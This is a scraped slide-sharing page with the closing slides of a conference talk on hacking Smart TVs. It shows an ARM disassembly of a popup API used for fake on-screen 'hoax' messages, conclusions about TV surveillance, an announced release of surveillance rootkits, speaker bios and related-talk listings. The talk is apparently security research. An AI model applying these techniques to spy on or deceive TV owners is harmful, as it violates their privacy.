 There are some APIs for popping text
 We choose CCDrawing::Show()
 Alternatives (CCButton::TextDrawing, etc)
.text:02042C78 ; CCDrawing::Show(void)
.text:02042C78 EXPORT _ZN9CCDrawing4ShowEv
.text:02042C78 _ZN9CCDrawing4ShowEv
.text:02042C78
.text:02042C78 STMFD SP!, {R4-R7,R11,LR}
.text:02042C7C ADD R11, SP, #0x14
.text:02042C80 MOV R4, R0
.text:02042C84 BL pthread_self
.text:02042C88 LDR R6, [R4,#0x18]
.text:02042C8C LDR R7, [R6,#0x20]
.text:02042C90 LDR R3, [R7,#0xC]
.text:02042C94 CMP R3, R0
.text:02042C98 MOV R5, R0
.text:02042C9C BEQ loc_2042D34
.....
91
Showing hoax
 To use Popup APIs is actually not simple
 There are small components for a box
 Label, button, etc
 Each component should be filled with
correct information
 Position, font and other properties
 We show a demo
 And the code will be released after
this conference
92
Conclusion
 Smart TV hacks probably doesn’t make money
like Smartphone hacks
 But personal privacies are very important
 And Smart TV is a perfect target for
surveillance
 Power is connected
 Camera and voice sensors
 Can be located at very privacy places
 Almost no noise while running
 It’s now getting used more and more in office
environments, Smart TV security should be
considered for security policy
93
Conclusion
 Deceiving Smart TV users is also a good
spot to research
 As the case of hacked AP twitter account
 We’re planning to release all code
 Surveillance Rootkits
 Hoax tools
 You can find updated slides here
 http://grayhash.com
94
Thanks to
 Mongii from hackerschool.org
 Helped me a lot and got me inspired
 Tora from google
 Defend.the.world!
 Donato from revuln.com
 Tora and Donato gave me nice comments
 Samygo forum
 Lots of useful information
 IAS Lab, CIST, Korea University
95
Q & A
 Thank you for attending
 Contact me if you have any question
 beist@grayhash.com
 http://twitter.com/beist
SeungJin Lee
E-mail : beist@grayhash.com
Twitter : @beist
Beist has been a member of the IT security field since 2000. His first company was Cyber Research
based in Seoul, South Korea and first focused on pen-testing. He then got a Computer Engineering
B.A. degree from Sejong University. He has won more than 10 global CTF hacking contests in his
country as well as passed DefCon quals 5 times. He has sold his research to major security
companies like iDefense and ZDI (Recon ZDI contest). He has run numerous security conferences
and hacking contests in Korea. Hunting bugs and exploiting them are his main interest. He does
consulting for big companies in Korea and is now a graduate student at CIST IAS LAB, Korea
University.
Seungjoo Kim (Corresponding Author)
E-mail : skim71@korea.ac.kr
Homepage : www.kimlab.net
Facebook, Twitter : @skim71
Prof. Seungjoo Kim received his B.S. (1994), M.S. (1996), and Ph.D. (1999) in information engineering
from Sungkyunkwan University (SKKU) in Korea. Prior to joining the faculty at Korea University (KU)
in 2011, He served as Assistant & Associate Professor of School of Information and Communication
Engineering at SKKU for 7 years. Before that, He served as Director of the Cryptographic Technology
Team and the (CC-based) IT Security Evaluation Team of the Korea Information Security Agency (KISA)
for 5 years. Now he is Full Professor of Graduate School of Information Security at KU, and a
member of KU's Center for Information Security Technologies (CIST). Also, He has served as an
executive committee member of Korean E-Government, and advisory committee members of several
public and private organizations such as National Intelligence Service of Korea, Digital Investigation
Advisory Committee of Supreme Prosecutors' Office, Ministry of Justice, The Bank of Korea,
ETRI(Electronic and Telecommunication Research Institute), and KISA, etc. His research interests
include cryptography, information security and information assurance.

Mais conteúdo relacionado

Mais procurados

IRJET- IOT Based Surveillance Robotic Car using Raspberry PI
IRJET- IOT Based Surveillance Robotic Car using Raspberry PIIRJET- IOT Based Surveillance Robotic Car using Raspberry PI
IRJET- IOT Based Surveillance Robotic Car using Raspberry PIIRJET Journal
 
IRJET - IoT based Surveillance Robot
IRJET -  	  IoT based Surveillance RobotIRJET -  	  IoT based Surveillance Robot
IRJET - IoT based Surveillance RobotIRJET Journal
 
OWASP Cambridge Chapter Meeting 13/12/2016
OWASP Cambridge Chapter Meeting 13/12/2016OWASP Cambridge Chapter Meeting 13/12/2016
OWASP Cambridge Chapter Meeting 13/12/2016joebursell
 
Apple iphone 6 and iphone 6 plus Full Review
Apple iphone 6 and iphone 6 plus Full ReviewApple iphone 6 and iphone 6 plus Full Review
Apple iphone 6 and iphone 6 plus Full ReviewMalek Webjob
 
Blaze automation profile india 2009
Blaze automation profile india   2009Blaze automation profile india   2009
Blaze automation profile india 2009Blaze_Hyd
 
Home automation & security system
Home automation & security systemHome automation & security system
Home automation & security systemAniket Maithani
 
Arc application remote control using bluetooth
Arc   application remote control using bluetoothArc   application remote control using bluetooth
Arc application remote control using bluetoothSonam M
 
IRJET- Portable Surveillance Robot using IoT
IRJET-  	  Portable Surveillance Robot using IoTIRJET-  	  Portable Surveillance Robot using IoT
IRJET- Portable Surveillance Robot using IoTIRJET Journal
 
IRJET - IoT based Anti Theft Detection and Alerting System using Raspberry Pi
IRJET - IoT based Anti Theft Detection and Alerting System using Raspberry PiIRJET - IoT based Anti Theft Detection and Alerting System using Raspberry Pi
IRJET - IoT based Anti Theft Detection and Alerting System using Raspberry PiIRJET Journal
 
Embedded Web Server based Home Automation using Raspberry PI
Embedded Web Server based Home Automation using Raspberry PIEmbedded Web Server based Home Automation using Raspberry PI
Embedded Web Server based Home Automation using Raspberry PIEditor IJMTER
 
Home automation ppt-kamal lamichhane
Home automation ppt-kamal lamichhaneHome automation ppt-kamal lamichhane
Home automation ppt-kamal lamichhaneKamal Lamichhane
 
Bluetooth remote control... from your mobile phone
Bluetooth remote control... from your mobile phoneBluetooth remote control... from your mobile phone
Bluetooth remote control... from your mobile phoneBebe Bilguun
 

Mais procurados (13)

IRJET- IOT Based Surveillance Robotic Car using Raspberry PI
IRJET- IOT Based Surveillance Robotic Car using Raspberry PIIRJET- IOT Based Surveillance Robotic Car using Raspberry PI
IRJET- IOT Based Surveillance Robotic Car using Raspberry PI
 
IRJET - IoT based Surveillance Robot
IRJET -  	  IoT based Surveillance RobotIRJET -  	  IoT based Surveillance Robot
IRJET - IoT based Surveillance Robot
 
OWASP Cambridge Chapter Meeting 13/12/2016
OWASP Cambridge Chapter Meeting 13/12/2016OWASP Cambridge Chapter Meeting 13/12/2016
OWASP Cambridge Chapter Meeting 13/12/2016
 
Apple iphone 6 and iphone 6 plus Full Review
Apple iphone 6 and iphone 6 plus Full ReviewApple iphone 6 and iphone 6 plus Full Review
Apple iphone 6 and iphone 6 plus Full Review
 
Blaze automation profile india 2009
Blaze automation profile india   2009Blaze automation profile india   2009
Blaze automation profile india 2009
 
Home automation & security system
Home automation & security systemHome automation & security system
Home automation & security system
 
Arc application remote control using bluetooth
Arc   application remote control using bluetoothArc   application remote control using bluetooth
Arc application remote control using bluetooth
 
IRJET- Portable Surveillance Robot using IoT
IRJET-  	  Portable Surveillance Robot using IoTIRJET-  	  Portable Surveillance Robot using IoT
IRJET- Portable Surveillance Robot using IoT
 
IRJET - IoT based Anti Theft Detection and Alerting System using Raspberry Pi
IRJET - IoT based Anti Theft Detection and Alerting System using Raspberry PiIRJET - IoT based Anti Theft Detection and Alerting System using Raspberry Pi
IRJET - IoT based Anti Theft Detection and Alerting System using Raspberry Pi
 
Embedded Web Server based Home Automation using Raspberry PI
Embedded Web Server based Home Automation using Raspberry PIEmbedded Web Server based Home Automation using Raspberry PI
Embedded Web Server based Home Automation using Raspberry PI
 
Home automation ppt-kamal lamichhane
Home automation ppt-kamal lamichhaneHome automation ppt-kamal lamichhane
Home automation ppt-kamal lamichhane
 
Smart home automation system
Smart home automation systemSmart home automation system
Smart home automation system
 
Bluetooth remote control... from your mobile phone
Bluetooth remote control... from your mobile phoneBluetooth remote control... from your mobile phone
Bluetooth remote control... from your mobile phone
 

Destaque

성균인으로 사는 법 - 방황하고 있는 후배님들께 -
성균인으로 사는 법 - 방황하고 있는 후배님들께 -성균인으로 사는 법 - 방황하고 있는 후배님들께 -
성균인으로 사는 법 - 방황하고 있는 후배님들께 -Seungjoo Kim
 
Developing a Protection Profile for Smart TV
Developing a Protection Profile for Smart TVDeveloping a Protection Profile for Smart TV
Developing a Protection Profile for Smart TVSeungjoo Kim
 
How the CC Harmonizes with Secure Software Development Lifecycle
How the CC Harmonizes with Secure Software Development LifecycleHow the CC Harmonizes with Secure Software Development Lifecycle
How the CC Harmonizes with Secure Software Development LifecycleSeungjoo Kim
 
보안실무, 어디까지가실무일까? @ 보안대첩 (2014.10.31)
보안실무, 어디까지가실무일까? @ 보안대첩 (2014.10.31)보안실무, 어디까지가실무일까? @ 보안대첩 (2014.10.31)
보안실무, 어디까지가실무일까? @ 보안대첩 (2014.10.31)Seungjoo Kim
 
PP for E-Certificate Issuance System
PP for E-Certificate Issuance SystemPP for E-Certificate Issuance System
PP for E-Certificate Issuance SystemSeungjoo Kim
 
Using the CGC's Fully Automated Vulnerability Detection Tools in Security Eva...
Using the CGC's Fully Automated Vulnerability Detection Tools in Security Eva...Using the CGC's Fully Automated Vulnerability Detection Tools in Security Eva...
Using the CGC's Fully Automated Vulnerability Detection Tools in Security Eva...Seungjoo Kim
 
Problem and Improvement of the Composition Documents for Smart Card Composed ...
Problem and Improvement of the Composition Documents for Smart Card Composed ...Problem and Improvement of the Composition Documents for Smart Card Composed ...
Problem and Improvement of the Composition Documents for Smart Card Composed ...Seungjoo Kim
 
Исполнение бюджета Гапкинского сельского поселения за 1 полугодие 2016 года
Исполнение бюджета Гапкинского сельского поселения за 1 полугодие  2016 годаИсполнение бюджета Гапкинского сельского поселения за 1 полугодие  2016 года
Исполнение бюджета Гапкинского сельского поселения за 1 полугодие 2016 годаАлексей Арешев
 
Исполнение бюджета Гапкинского сельского поселения за 1 квартал 2016 года
Исполнение бюджета Гапкинского сельского поселения за 1 квартал  2016 годаИсполнение бюджета Гапкинского сельского поселения за 1 квартал  2016 года
Исполнение бюджета Гапкинского сельского поселения за 1 квартал 2016 годаАлексей Арешев
 
DDoS Attack on DNS using infected IoT Devices
DDoS Attack on DNS using infected IoT DevicesDDoS Attack on DNS using infected IoT Devices
DDoS Attack on DNS using infected IoT DevicesSeungjoo Kim
 
Writing the report for doctoral confirmation at Massey University, New Zealand
Writing the report for doctoral confirmation at Massey University, New ZealandWriting the report for doctoral confirmation at Massey University, New Zealand
Writing the report for doctoral confirmation at Massey University, New ZealandMartin McMorrow
 

Destaque (15)

성균인으로 사는 법 - 방황하고 있는 후배님들께 -
성균인으로 사는 법 - 방황하고 있는 후배님들께 -성균인으로 사는 법 - 방황하고 있는 후배님들께 -
성균인으로 사는 법 - 방황하고 있는 후배님들께 -
 
Developing a Protection Profile for Smart TV
Developing a Protection Profile for Smart TVDeveloping a Protection Profile for Smart TV
Developing a Protection Profile for Smart TV
 
How the CC Harmonizes with Secure Software Development Lifecycle
How the CC Harmonizes with Secure Software Development LifecycleHow the CC Harmonizes with Secure Software Development Lifecycle
How the CC Harmonizes with Secure Software Development Lifecycle
 
보안실무, 어디까지가실무일까? @ 보안대첩 (2014.10.31)
보안실무, 어디까지가실무일까? @ 보안대첩 (2014.10.31)보안실무, 어디까지가실무일까? @ 보안대첩 (2014.10.31)
보안실무, 어디까지가실무일까? @ 보안대첩 (2014.10.31)
 
PP for E-Certificate Issuance System
PP for E-Certificate Issuance SystemPP for E-Certificate Issuance System
PP for E-Certificate Issuance System
 
Using the CGC's Fully Automated Vulnerability Detection Tools in Security Eva...
Using the CGC's Fully Automated Vulnerability Detection Tools in Security Eva...Using the CGC's Fully Automated Vulnerability Detection Tools in Security Eva...
Using the CGC's Fully Automated Vulnerability Detection Tools in Security Eva...
 
Problem and Improvement of the Composition Documents for Smart Card Composed ...
Problem and Improvement of the Composition Documents for Smart Card Composed ...Problem and Improvement of the Composition Documents for Smart Card Composed ...
Problem and Improvement of the Composition Documents for Smart Card Composed ...
 
Исполнение бюджета Гапкинского сельского поселения за 1 полугодие 2016 года
Исполнение бюджета Гапкинского сельского поселения за 1 полугодие  2016 годаИсполнение бюджета Гапкинского сельского поселения за 1 полугодие  2016 года
Исполнение бюджета Гапкинского сельского поселения за 1 полугодие 2016 года
 
Исполнение бюджета Гапкинского сельского поселения за 1 квартал 2016 года
Исполнение бюджета Гапкинского сельского поселения за 1 квартал  2016 годаИсполнение бюджета Гапкинского сельского поселения за 1 квартал  2016 года
Исполнение бюджета Гапкинского сельского поселения за 1 квартал 2016 года
 
DDoS Attack on DNS using infected IoT Devices
DDoS Attack on DNS using infected IoT DevicesDDoS Attack on DNS using infected IoT Devices
DDoS Attack on DNS using infected IoT Devices
 
Sketch root locus
Sketch root locusSketch root locus
Sketch root locus
 
Writing the report for doctoral confirmation at Massey University, New Zealand
Writing the report for doctoral confirmation at Massey University, New ZealandWriting the report for doctoral confirmation at Massey University, New Zealand
Writing the report for doctoral confirmation at Massey University, New Zealand
 
іс тәжірибе
іс тәжірибеіс тәжірибе
іс тәжірибе
 
алгебра 8 (рабочая тетрадь)
алгебра 8 (рабочая тетрадь)алгебра 8 (рабочая тетрадь)
алгебра 8 (рабочая тетрадь)
 
Smart TV
Smart TVSmart TV
Smart TV
 

Semelhante a Hacking, Surveilling, and Deceiving Victims on Smart TV

The Internet of Fails - Mark Stanislav, Senior Security Consultant, Rapid7
The Internet of Fails - Mark Stanislav, Senior Security Consultant, Rapid7The Internet of Fails - Mark Stanislav, Senior Security Consultant, Rapid7
The Internet of Fails - Mark Stanislav, Senior Security Consultant, Rapid7Rapid7
 
NUS-ISS Learning Day 2019-Building IoT solutions with the Pi
NUS-ISS Learning Day 2019-Building IoT solutions with the PiNUS-ISS Learning Day 2019-Building IoT solutions with the Pi
NUS-ISS Learning Day 2019-Building IoT solutions with the PiNUS-ISS
 
Can we build an Azure IoT controlled device in less than 40 minutes that cost...
Can we build an Azure IoT controlled device in less than 40 minutes that cost...Can we build an Azure IoT controlled device in less than 40 minutes that cost...
Can we build an Azure IoT controlled device in less than 40 minutes that cost...Codemotion Tel Aviv
 
Tevatron_Technologies_Design_Services_Corporate_Profile
Tevatron_Technologies_Design_Services_Corporate_ProfileTevatron_Technologies_Design_Services_Corporate_Profile
Tevatron_Technologies_Design_Services_Corporate_ProfileSaket Shrivastava
 
Tevatron technologies design_services_corporate_profile
Tevatron technologies design_services_corporate_profileTevatron technologies design_services_corporate_profile
Tevatron technologies design_services_corporate_profileJayant Kaintura
 
VoIp Security Services Technical Description Cyber51
VoIp Security Services Technical Description Cyber51VoIp Security Services Technical Description Cyber51
VoIp Security Services Technical Description Cyber51martinvoelk
 
Setup VoIP System and Interconnection with LTE network
Setup VoIP System and Interconnection with LTE networkSetup VoIP System and Interconnection with LTE network
Setup VoIP System and Interconnection with LTE networkNazmul Hossain Rakib
 
Fullstack IoT Development
Fullstack IoT DevelopmentFullstack IoT Development
Fullstack IoT DevelopmentAndri Yadi
 
HITBSecConf 2016-Create Your Own Bad Usb
HITBSecConf 2016-Create Your Own Bad UsbHITBSecConf 2016-Create Your Own Bad Usb
HITBSecConf 2016-Create Your Own Bad UsbSeunghun han
 
Remote setup guide
Remote setup guideRemote setup guide
Remote setup guideVoicent
 
IRJEWT-An Intelligent Remote Controlled System for Smart Home Automation
IRJEWT-An Intelligent Remote Controlled System for Smart Home AutomationIRJEWT-An Intelligent Remote Controlled System for Smart Home Automation
IRJEWT-An Intelligent Remote Controlled System for Smart Home AutomationIRJET Journal
 
IoT and the Role of Platforms
IoT and the Role of PlatformsIoT and the Role of Platforms
IoT and the Role of PlatformsTiE Bangalore
 
Mobile Malwares Analysis - Garvit Arya
Mobile Malwares Analysis - Garvit AryaMobile Malwares Analysis - Garvit Arya
Mobile Malwares Analysis - Garvit AryaGarvit Arya
 
Considerations in Verification of Safety Design for Complex Systems
Considerations in Verification of Safety Design for Complex SystemsConsiderations in Verification of Safety Design for Complex Systems
Considerations in Verification of Safety Design for Complex SystemsOak Systems
 
Estimote beacons and simple Android application (full)
Estimote beacons and simple Android application (full)Estimote beacons and simple Android application (full)
Estimote beacons and simple Android application (full)davidepiccardi
 
Mobile security
Mobile securityMobile security
Mobile securityStefaan
 
Resin.io overview (2016 July)
Resin.io overview (2016 July)Resin.io overview (2016 July)
Resin.io overview (2016 July)Balena
 

Semelhante a Hacking, Surveilling, and Deceiving Victims on Smart TV (20)

Smart TV Insecurity
Smart TV InsecuritySmart TV Insecurity
Smart TV Insecurity
 
The Internet of Fails - Mark Stanislav, Senior Security Consultant, Rapid7
The Internet of Fails - Mark Stanislav, Senior Security Consultant, Rapid7The Internet of Fails - Mark Stanislav, Senior Security Consultant, Rapid7
The Internet of Fails - Mark Stanislav, Senior Security Consultant, Rapid7
 
IoT
IoTIoT
IoT
 
NUS-ISS Learning Day 2019-Building IoT solutions with the Pi
NUS-ISS Learning Day 2019-Building IoT solutions with the PiNUS-ISS Learning Day 2019-Building IoT solutions with the Pi
NUS-ISS Learning Day 2019-Building IoT solutions with the Pi
 
GSM Based Security System
GSM Based Security SystemGSM Based Security System
GSM Based Security System
 
Can we build an Azure IoT controlled device in less than 40 minutes that cost...
Can we build an Azure IoT controlled device in less than 40 minutes that cost...Can we build an Azure IoT controlled device in less than 40 minutes that cost...
Can we build an Azure IoT controlled device in less than 40 minutes that cost...
 
Tevatron_Technologies_Design_Services_Corporate_Profile
Tevatron_Technologies_Design_Services_Corporate_ProfileTevatron_Technologies_Design_Services_Corporate_Profile
Tevatron_Technologies_Design_Services_Corporate_Profile
 
Tevatron technologies design_services_corporate_profile
Tevatron technologies design_services_corporate_profileTevatron technologies design_services_corporate_profile
Tevatron technologies design_services_corporate_profile
 
VoIp Security Services Technical Description Cyber51
VoIp Security Services Technical Description Cyber51VoIp Security Services Technical Description Cyber51
VoIp Security Services Technical Description Cyber51
 
Setup VoIP System and Interconnection with LTE network
Setup VoIP System and Interconnection with LTE networkSetup VoIP System and Interconnection with LTE network
Setup VoIP System and Interconnection with LTE network
 
Fullstack IoT Development
Fullstack IoT DevelopmentFullstack IoT Development
Fullstack IoT Development
 
HITBSecConf 2016-Create Your Own Bad Usb
HITBSecConf 2016-Create Your Own Bad UsbHITBSecConf 2016-Create Your Own Bad Usb
HITBSecConf 2016-Create Your Own Bad Usb
 
Remote setup guide
Remote setup guideRemote setup guide
Remote setup guide
 
IRJEWT-An Intelligent Remote Controlled System for Smart Home Automation
IRJEWT-An Intelligent Remote Controlled System for Smart Home AutomationIRJEWT-An Intelligent Remote Controlled System for Smart Home Automation
IRJEWT-An Intelligent Remote Controlled System for Smart Home Automation
 
IoT and the Role of Platforms
IoT and the Role of PlatformsIoT and the Role of Platforms
IoT and the Role of Platforms
 
Mobile Malwares Analysis - Garvit Arya
Mobile Malwares Analysis - Garvit AryaMobile Malwares Analysis - Garvit Arya
Mobile Malwares Analysis - Garvit Arya
 
Considerations in Verification of Safety Design for Complex Systems
Considerations in Verification of Safety Design for Complex SystemsConsiderations in Verification of Safety Design for Complex Systems
Considerations in Verification of Safety Design for Complex Systems
 
Estimote beacons and simple Android application (full)
Estimote beacons and simple Android application (full)Estimote beacons and simple Android application (full)
Estimote beacons and simple Android application (full)
 
Mobile security
Mobile securityMobile security
Mobile security
 
Resin.io overview (2016 July)
Resin.io overview (2016 July)Resin.io overview (2016 July)
Resin.io overview (2016 July)
 

Mais de Seungjoo Kim

블록체인의 본질과 동작 원리
블록체인의 본질과 동작 원리블록체인의 본질과 동작 원리
블록체인의 본질과 동작 원리Seungjoo Kim
 
[Blockchain and Cryptocurrency] 01. Syllabus
[Blockchain and Cryptocurrency] 01. Syllabus[Blockchain and Cryptocurrency] 01. Syllabus
[Blockchain and Cryptocurrency] 01. SyllabusSeungjoo Kim
 
[Blockchain and Cryptocurrency] 02. Blockchain Overview and Introduction - Te...
[Blockchain and Cryptocurrency] 02. Blockchain Overview and Introduction - Te...[Blockchain and Cryptocurrency] 02. Blockchain Overview and Introduction - Te...
[Blockchain and Cryptocurrency] 02. Blockchain Overview and Introduction - Te...Seungjoo Kim
 
[Blockchain and Cryptocurrency] 03. Blockchain's Theoretical Foundation, Cryp...
[Blockchain and Cryptocurrency] 03. Blockchain's Theoretical Foundation, Cryp...[Blockchain and Cryptocurrency] 03. Blockchain's Theoretical Foundation, Cryp...
[Blockchain and Cryptocurrency] 03. Blockchain's Theoretical Foundation, Cryp...Seungjoo Kim
 
[Blockchain and Cryptocurrency] 04. Bitcoin and Nakamoto Blockchain
[Blockchain and Cryptocurrency] 04. Bitcoin and Nakamoto Blockchain[Blockchain and Cryptocurrency] 04. Bitcoin and Nakamoto Blockchain
[Blockchain and Cryptocurrency] 04. Bitcoin and Nakamoto BlockchainSeungjoo Kim
 
[Blockchain and Cryptocurrency] 05. Ethereum and Smart Contract
[Blockchain and Cryptocurrency] 05. Ethereum and Smart Contract[Blockchain and Cryptocurrency] 05. Ethereum and Smart Contract
[Blockchain and Cryptocurrency] 05. Ethereum and Smart ContractSeungjoo Kim
 
[Blockchain and Cryptocurrency] 06. NFT and Metaverse
[Blockchain and Cryptocurrency] 06. NFT and Metaverse[Blockchain and Cryptocurrency] 06. NFT and Metaverse
[Blockchain and Cryptocurrency] 06. NFT and MetaverseSeungjoo Kim
 
[Blockchain and Cryptocurrency] 07. Cardano(ADA) and Other Altcoins
[Blockchain and Cryptocurrency] 07. Cardano(ADA) and Other Altcoins[Blockchain and Cryptocurrency] 07. Cardano(ADA) and Other Altcoins
[Blockchain and Cryptocurrency] 07. Cardano(ADA) and Other AltcoinsSeungjoo Kim
 
[Blockchain and Cryptocurrency] 08. Dark Coins
[Blockchain and Cryptocurrency] 08. Dark Coins[Blockchain and Cryptocurrency] 08. Dark Coins
[Blockchain and Cryptocurrency] 08. Dark CoinsSeungjoo Kim
 
[Blockchain and Cryptocurrency] 09. Blockchain Usage Beyond Currency - Way to...
[Blockchain and Cryptocurrency] 09. Blockchain Usage Beyond Currency - Way to...[Blockchain and Cryptocurrency] 09. Blockchain Usage Beyond Currency - Way to...
[Blockchain and Cryptocurrency] 09. Blockchain Usage Beyond Currency - Way to...Seungjoo Kim
 
Why is it getting harder to train the cybersecurity workforce? (ExtendedVersion)
Why is it getting harder to train the cybersecurity workforce? (ExtendedVersion)Why is it getting harder to train the cybersecurity workforce? (ExtendedVersion)
Why is it getting harder to train the cybersecurity workforce? (ExtendedVersion)Seungjoo Kim
 
Kid Blockchain - Everything You Need to Know - (Part 2)
Kid Blockchain - Everything You Need to Know - (Part 2)Kid Blockchain - Everything You Need to Know - (Part 2)
Kid Blockchain - Everything You Need to Know - (Part 2)Seungjoo Kim
 
Kid Blockchain - Everything You Need to Know - (Part 1)
Kid Blockchain - Everything You Need to Know - (Part 1)Kid Blockchain - Everything You Need to Know - (Part 1)
Kid Blockchain - Everything You Need to Know - (Part 1)Seungjoo Kim
 
Application of the Common Criteria to Building Trustworthy Automotive SDLC
Application of the Common Criteria to Building Trustworthy Automotive SDLCApplication of the Common Criteria to Building Trustworthy Automotive SDLC
Application of the Common Criteria to Building Trustworthy Automotive SDLCSeungjoo Kim
 
Assurance-Level Driven Method for Integrating Security into SDLC Process
Assurance-Level Driven Method for Integrating Security into SDLC ProcessAssurance-Level Driven Method for Integrating Security into SDLC Process
Assurance-Level Driven Method for Integrating Security into SDLC ProcessSeungjoo Kim
 
How South Korea Is Fighting North Korea's Cyber Threats
How South Korea Is Fighting North Korea's Cyber ThreatsHow South Korea Is Fighting North Korea's Cyber Threats
How South Korea Is Fighting North Korea's Cyber ThreatsSeungjoo Kim
 
Blockchain for Cyber Defense: Will It Be As Good As You Think?
Blockchain for Cyber Defense: Will It Be As Good As You Think?Blockchain for Cyber Defense: Will It Be As Good As You Think?
Blockchain for Cyber Defense: Will It Be As Good As You Think?Seungjoo Kim
 
Post-Coronavirus 시대 보안 패러다임의 변화
Post-Coronavirus 시대 보안 패러다임의 변화Post-Coronavirus 시대 보안 패러다임의 변화
Post-Coronavirus 시대 보안 패러다임의 변화Seungjoo Kim
 
IoT Device Hacking and New Direction of IoT Security Evaluation Using Common ...
IoT Device Hacking and New Direction of IoT Security Evaluation Using Common ...IoT Device Hacking and New Direction of IoT Security Evaluation Using Common ...
IoT Device Hacking and New Direction of IoT Security Evaluation Using Common ...Seungjoo Kim
 
Verification of IVI Over-The-Air using UML/OCL
Verification of IVI Over-The-Air using UML/OCLVerification of IVI Over-The-Air using UML/OCL
Verification of IVI Over-The-Air using UML/OCLSeungjoo Kim
 

Mais de Seungjoo Kim (20)

블록체인의 본질과 동작 원리
블록체인의 본질과 동작 원리블록체인의 본질과 동작 원리
블록체인의 본질과 동작 원리
 
[Blockchain and Cryptocurrency] 01. Syllabus
[Blockchain and Cryptocurrency] 01. Syllabus[Blockchain and Cryptocurrency] 01. Syllabus
[Blockchain and Cryptocurrency] 01. Syllabus
 
[Blockchain and Cryptocurrency] 02. Blockchain Overview and Introduction - Te...
[Blockchain and Cryptocurrency] 02. Blockchain Overview and Introduction - Te...[Blockchain and Cryptocurrency] 02. Blockchain Overview and Introduction - Te...
[Blockchain and Cryptocurrency] 02. Blockchain Overview and Introduction - Te...
 
[Blockchain and Cryptocurrency] 03. Blockchain's Theoretical Foundation, Cryp...
[Blockchain and Cryptocurrency] 03. Blockchain's Theoretical Foundation, Cryp...[Blockchain and Cryptocurrency] 03. Blockchain's Theoretical Foundation, Cryp...
[Blockchain and Cryptocurrency] 03. Blockchain's Theoretical Foundation, Cryp...
 
[Blockchain and Cryptocurrency] 04. Bitcoin and Nakamoto Blockchain
[Blockchain and Cryptocurrency] 04. Bitcoin and Nakamoto Blockchain[Blockchain and Cryptocurrency] 04. Bitcoin and Nakamoto Blockchain
[Blockchain and Cryptocurrency] 04. Bitcoin and Nakamoto Blockchain
 
[Blockchain and Cryptocurrency] 05. Ethereum and Smart Contract
[Blockchain and Cryptocurrency] 05. Ethereum and Smart Contract[Blockchain and Cryptocurrency] 05. Ethereum and Smart Contract
[Blockchain and Cryptocurrency] 05. Ethereum and Smart Contract
 
[Blockchain and Cryptocurrency] 06. NFT and Metaverse
[Blockchain and Cryptocurrency] 06. NFT and Metaverse[Blockchain and Cryptocurrency] 06. NFT and Metaverse
[Blockchain and Cryptocurrency] 06. NFT and Metaverse
 
[Blockchain and Cryptocurrency] 07. Cardano(ADA) and Other Altcoins
[Blockchain and Cryptocurrency] 07. Cardano(ADA) and Other Altcoins[Blockchain and Cryptocurrency] 07. Cardano(ADA) and Other Altcoins
[Blockchain and Cryptocurrency] 07. Cardano(ADA) and Other Altcoins
 
[Blockchain and Cryptocurrency] 08. Dark Coins
[Blockchain and Cryptocurrency] 08. Dark Coins[Blockchain and Cryptocurrency] 08. Dark Coins
[Blockchain and Cryptocurrency] 08. Dark Coins
 
[Blockchain and Cryptocurrency] 09. Blockchain Usage Beyond Currency - Way to...
[Blockchain and Cryptocurrency] 09. Blockchain Usage Beyond Currency - Way to...[Blockchain and Cryptocurrency] 09. Blockchain Usage Beyond Currency - Way to...
[Blockchain and Cryptocurrency] 09. Blockchain Usage Beyond Currency - Way to...
 
Why is it getting harder to train the cybersecurity workforce? (ExtendedVersion)
Why is it getting harder to train the cybersecurity workforce? (ExtendedVersion)Why is it getting harder to train the cybersecurity workforce? (ExtendedVersion)
Why is it getting harder to train the cybersecurity workforce? (ExtendedVersion)
 
Kid Blockchain - Everything You Need to Know - (Part 2)
Kid Blockchain - Everything You Need to Know - (Part 2)Kid Blockchain - Everything You Need to Know - (Part 2)
Kid Blockchain - Everything You Need to Know - (Part 2)
 
Kid Blockchain - Everything You Need to Know - (Part 1)
Kid Blockchain - Everything You Need to Know - (Part 1)Kid Blockchain - Everything You Need to Know - (Part 1)
Kid Blockchain - Everything You Need to Know - (Part 1)
 
Application of the Common Criteria to Building Trustworthy Automotive SDLC
Application of the Common Criteria to Building Trustworthy Automotive SDLCApplication of the Common Criteria to Building Trustworthy Automotive SDLC
Application of the Common Criteria to Building Trustworthy Automotive SDLC
 
Assurance-Level Driven Method for Integrating Security into SDLC Process
Assurance-Level Driven Method for Integrating Security into SDLC ProcessAssurance-Level Driven Method for Integrating Security into SDLC Process
Assurance-Level Driven Method for Integrating Security into SDLC Process
 
How South Korea Is Fighting North Korea's Cyber Threats
How South Korea Is Fighting North Korea's Cyber ThreatsHow South Korea Is Fighting North Korea's Cyber Threats
How South Korea Is Fighting North Korea's Cyber Threats
 
Blockchain for Cyber Defense: Will It Be As Good As You Think?
Blockchain for Cyber Defense: Will It Be As Good As You Think?Blockchain for Cyber Defense: Will It Be As Good As You Think?
Blockchain for Cyber Defense: Will It Be As Good As You Think?
 
Post-Coronavirus 시대 보안 패러다임의 변화
Post-Coronavirus 시대 보안 패러다임의 변화Post-Coronavirus 시대 보안 패러다임의 변화
Post-Coronavirus 시대 보안 패러다임의 변화
 
IoT Device Hacking and New Direction of IoT Security Evaluation Using Common ...
IoT Device Hacking and New Direction of IoT Security Evaluation Using Common ...IoT Device Hacking and New Direction of IoT Security Evaluation Using Common ...
IoT Device Hacking and New Direction of IoT Security Evaluation Using Common ...
 
Verification of IVI Over-The-Air using UML/OCL
Verification of IVI Over-The-Air using UML/OCLVerification of IVI Over-The-Air using UML/OCL
Verification of IVI Over-The-Air using UML/OCL
 

Último

React Native vs Ionic - The Best Mobile App Framework
React Native vs Ionic - The Best Mobile App FrameworkReact Native vs Ionic - The Best Mobile App Framework
React Native vs Ionic - The Best Mobile App FrameworkPixlogix Infotech
 
Moving Beyond Passwords: FIDO Paris Seminar.pdf
Moving Beyond Passwords: FIDO Paris Seminar.pdfMoving Beyond Passwords: FIDO Paris Seminar.pdf
Moving Beyond Passwords: FIDO Paris Seminar.pdfLoriGlavin3
 
Decarbonising Buildings: Making a net-zero built environment a reality
Decarbonising Buildings: Making a net-zero built environment a realityDecarbonising Buildings: Making a net-zero built environment a reality
Decarbonising Buildings: Making a net-zero built environment a realityIES VE
 
QCon London: Mastering long-running processes in modern architectures
QCon London: Mastering long-running processes in modern architecturesQCon London: Mastering long-running processes in modern architectures
QCon London: Mastering long-running processes in modern architecturesBernd Ruecker
 
Testing tools and AI - ideas what to try with some tool examples
